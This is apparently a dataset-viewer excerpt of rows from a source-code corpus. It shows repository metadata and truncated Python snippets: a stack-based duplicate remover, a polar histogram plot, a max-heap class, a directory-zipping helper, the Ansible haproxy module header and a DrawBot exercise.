b95f1f2defddb693aac518e50761f81a76617e9f | 1,798 | py | Python | src/visitpy/visit_flow/flow/tests/decorators.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 226 | 2018-12-29T01:13:49.000Z | 2022-03-30T19:16:31.000Z | src/visitpy/visit_flow/flow/tests/decorators.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 5,100 | 2019-01-14T18:19:25.000Z | 2022-03-31T23:08:36.000Z | src/visitpy/visit_flow/flow/tests/decorators.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 84 | 2019-01-24T17:41:50.000Z | 2022-03-10T10:01:46.000Z | # Copyright (c) Lawrence Livermore National Security, LLC and other VisIt
# Project developers. See the top-level LICENSE file for dates and other
# details. No copyright assignment is required to contribute to VisIt.
"""
file: decorators.py
author: Cyrus Harrison <cyrush@llnl.gov>
created: 3/26/2012
description... | 25.323944 | 73 | 0.611791 |
b9622bb54111340986b17f71756b32bbd783dd95 | 216 | py | Python | Problems/Stack/Easy/RemoveAllAdjacentDuplicatesInString/remove_duplicates.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | 1 | 2021-08-16T14:52:05.000Z | 2021-08-16T14:52:05.000Z | Problems/Stack/Easy/RemoveAllAdjacentDuplicatesInString/remove_duplicates.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | Problems/Stack/Easy/RemoveAllAdjacentDuplicatesInString/remove_duplicates.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | def removeDuplicates(s: str) -> str:
stack = []
for i in range(len(s)):
if stack and stack[-1] == s[i]:
stack.pop()
else:
stack.append(s[i])
return ''.join(stack) | 21.6 | 39 | 0.481481 |
b9cc06c7dcde63fcc66dfb4b707b3cea29f7ba72 | 452 | py | Python | src/polarplots/polarhist.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | src/polarplots/polarhist.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | src/polarplots/polarhist.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | # polar histogram
import numpy as np
import matplotlib.pyplot as plt
N = 80
bottom = 8
max_height = 4
theta = np.linspace(0.0, 2 * np.pi, N, endpoint=False)
radii = max_height*np.random.rand(N)
width = (2*np.pi) / N
ax = plt.subplot(111, polar=True)
bars = ax.bar(theta, radii, width=width, bottom=bottom)
# Use cust... | 20.545455 | 55 | 0.688053 |
dbfde17af39df721a48c6f8618e4cf6022167a25 | 1,568 | py | Python | src/test.py | tschibu/starthack-asimov | bbc6fe04986738c014fa4cbd02a7f9e23b8a9c29 | [
"MIT"
] | null | null | null | src/test.py | tschibu/starthack-asimov | bbc6fe04986738c014fa4cbd02a7f9e23b8a9c29 | [
"MIT"
] | null | null | null | src/test.py | tschibu/starthack-asimov | bbc6fe04986738c014fa4cbd02a7f9e23b8a9c29 | [
"MIT"
] | null | null | null | '''
Usage:
- run server (python server.py)
- run test (python test.py -cinf=True -cimg=True -d=data/1.json)
'''
import helper.log_helper as logger
import requests
import argparse
import config
def test_crashinfo(json_file):
__post_request(__get_url('/api/v1/getCrashInfo'), json_file)
def test_crashimage(json_fil... | 35.636364 | 112 | 0.685587 |
e04c7da714db837b5b7b397737443660a594b40e | 940 | py | Python | crawlab/utils/deploy.py | anhilo/crawlab | 363f4bf7a4ccc192a99850998c1bd0fc363832a1 | [
"BSD-3-Clause"
] | 1 | 2019-08-20T14:26:39.000Z | 2019-08-20T14:26:39.000Z | crawlab/utils/deploy.py | anhilo/crawlab | 363f4bf7a4ccc192a99850998c1bd0fc363832a1 | [
"BSD-3-Clause"
] | 9 | 2019-05-24T03:53:09.000Z | 2022-02-26T10:53:48.000Z | crawlab/utils/deploy.py | anhilo/crawlab | 363f4bf7a4ccc192a99850998c1bd0fc363832a1 | [
"BSD-3-Clause"
] | 1 | 2019-11-08T08:12:40.000Z | 2019-11-08T08:12:40.000Z | import os, zipfile
from utils.log import other
def zip_file(source_dir, output_filename):
"""
打包目录为zip文件(未压缩)
:param source_dir: source directory
:param output_filename: output file name
"""
zipf = zipfile.ZipFile(output_filename, 'w')
pre_len = len(os.path.dirname(source_dir))
for par... | 27.647059 | 67 | 0.63617 |
d5cd15b8d2a3bdd7d48f0619f2d2d8397720f07b | 196 | py | Python | travelplanner/tests/__init__.py | UCL/mphy0021-2019-travel-planner-sukrire | 5f8b3479b858c46a01b68ee866560dd28d5be47a | [
"MIT"
] | null | null | null | travelplanner/tests/__init__.py | UCL/mphy0021-2019-travel-planner-sukrire | 5f8b3479b858c46a01b68ee866560dd28d5be47a | [
"MIT"
] | null | null | null | travelplanner/tests/__init__.py | UCL/mphy0021-2019-travel-planner-sukrire | 5f8b3479b858c46a01b68ee866560dd28d5be47a | [
"MIT"
] | null | null | null | from travelplanner.read_passengers import Read_passengers, Read_route
from travelplanner.Passenger import Passenger
from travelplanner.Route import Route
from travelplanner.Journey import Journey
| 39.2 | 69 | 0.887755 |
e6a5d3b0bb54a4fee7736c142c55ea07841f04af | 16,197 | py | Python | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/net_tools/haproxy.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/net_tools/haproxy.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/net_tools/haproxy.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright: (c) 2014, Ravi Bhure <ravibhure@gmail.com>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': ... | 35.913525 | 130 | 0.640551 |
fc5c73200433d092b1d90bf0b36007a5f08be8e8 | 3,531 | py | Python | Algorithms/heap.py | MastaCoder/Projects | ebb0a3134522b12f052fec8d753005f384adf1b1 | [
"MIT"
] | 5 | 2018-10-11T01:55:40.000Z | 2021-12-25T23:38:22.000Z | Algorithms/heap.py | MastaCoder/mini_projects | ebb0a3134522b12f052fec8d753005f384adf1b1 | [
"MIT"
] | null | null | null | Algorithms/heap.py | MastaCoder/mini_projects | ebb0a3134522b12f052fec8d753005f384adf1b1 | [
"MIT"
] | 1 | 2019-02-22T14:42:50.000Z | 2019-02-22T14:42:50.000Z | from typing import List
"""
Heap that can store integers.
"""
class Heap:
_heap: List[int]
_size: int
def __init__(self) -> None:
self._heap = [-1] # first index not used
self._size = 0
def __str__(self) -> str:
return str(self._heap)
def _MaxHeapify(self, i: int) -> None... | 27.80315 | 77 | 0.52648 |
fc770e6ceedde85ea9cc5e22cab2732b31543a9a | 328 | py | Python | 1_basics/2_ersteUebung.py | Coding-for-the-Arts/drawbot-samples-solutions | 7191610d6efd7d788056070e7826d255b7ef496b | [
"CC0-1.0"
] | null | null | null | 1_basics/2_ersteUebung.py | Coding-for-the-Arts/drawbot-samples-solutions | 7191610d6efd7d788056070e7826d255b7ef496b | [
"CC0-1.0"
] | null | null | null | 1_basics/2_ersteUebung.py | Coding-for-the-Arts/drawbot-samples-solutions | 7191610d6efd7d788056070e7826d255b7ef496b | [
"CC0-1.0"
] | null | null | null | """
Form und Fläche
Kannst du aus dem Quadrat ein Rechteck machen?
"""
newPage(1500, 1200)
rect(0, 0, 1300, 900)
"""
Wofür stehen die Zahlen in der Klammer nach «rect»?
- Die ersten zwei Zahlen stehen für die Position der linken unteren Ecke.
- Die dritte und vierte Zahl stehen für die Ausdehnung in X- und Y-Richtu... | 20.5 | 76 | 0.722561 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.